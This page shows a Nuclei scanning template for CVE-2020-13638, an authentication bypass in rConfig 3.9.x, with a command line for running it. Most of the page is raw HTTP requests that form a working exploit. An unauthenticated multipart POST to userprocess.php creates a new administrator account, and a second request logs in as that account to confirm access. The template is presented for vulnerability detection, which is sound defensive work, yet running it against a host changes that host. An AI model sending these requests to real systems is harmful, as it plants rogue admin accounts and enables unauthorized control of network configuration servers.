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rConfig 3.9 - Authentication Bypass(Admin Login)

ID: CVE-2020-13638

Severity: critical

Author: theamanrawat

Tags: cve,cve2020,rconfig,auth-bypass,intrusive

Description

Section titled “Description”

lib/crud/userprocess.php in rConfig 3.9.x before 3.9.7 has an authentication bypass, leading to administrator account creation. This issue has been fixed in 3.9.7.

YAML Source

Section titled “YAML Source”
id: CVE-2020-13638


info:
  name: rConfig 3.9 - Authentication Bypass(Admin Login)
  author: theamanrawat
  severity: critical
  description: |
    lib/crud/userprocess.php in rConfig 3.9.x before 3.9.7 has an authentication bypass, leading to administrator account creation. This issue has been fixed in 3.9.7.
  reference:
    - https://www.rconfig.com/downloads/rconfig-3.9.4.zip
    - https://theguly.github.io/2020/09/rconfig-3.9.4-multiple-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13638
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-13638
    cwe-id: CWE-269
    epss-score: 0.3523
    epss-percentile: 0.97125
    cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: rconfig
    product: rconfig
    shodan-query:
      - http.title:"rConfig"
      - http.title:"rconfig"
    fofa-query: title="rconfig"
    google-query: intitle:"rconfig"
  tags: cve,cve2020,rconfig,auth-bypass,intrusive
variables:
  username: "{{to_lower(rand_text_alpha(5))}}"
  password: "{{rand_text_alphanumeric(12)}}!"
  email: "{{rand_base(8)}}@{{rand_base(5)}}.com"


http:
  - raw:
      - |
        POST /lib/crud/userprocess.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=01b28e152ee044338224bf647275f8eb


        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="username"


        {{username}}
        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="passconf"


        {{password}}
        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="password"


        {{password}}
        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="email"


        {{email}}
        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="editid"




        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="add"


        add
        --01b28e152ee044338224bf647275f8eb
        Content-Disposition: form-data; name="ulevelid"


        9
        --01b28e152ee044338224bf647275f8eb--
      - |
        GET /login.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /lib/crud/userprocess.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        user={{username}}&pass={{password}}&sublogin=1


    host-redirects: true


    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - "rConfig - Configuration Management"
          - "Logged in as"
          - "dashboadFieldSet"
        condition: and


      - type: word
        part: header_3
        words:
          - 'text/html'


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a6d0b089fbef55dc6e7bc3bac75cbb3f8f08ca30d56b64a297afee7a265186c1022100f5a437270c02d5b2231c1071a65ade3cc96f676a0f8a4db63e6a08e3435374aa:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-13638.yaml"

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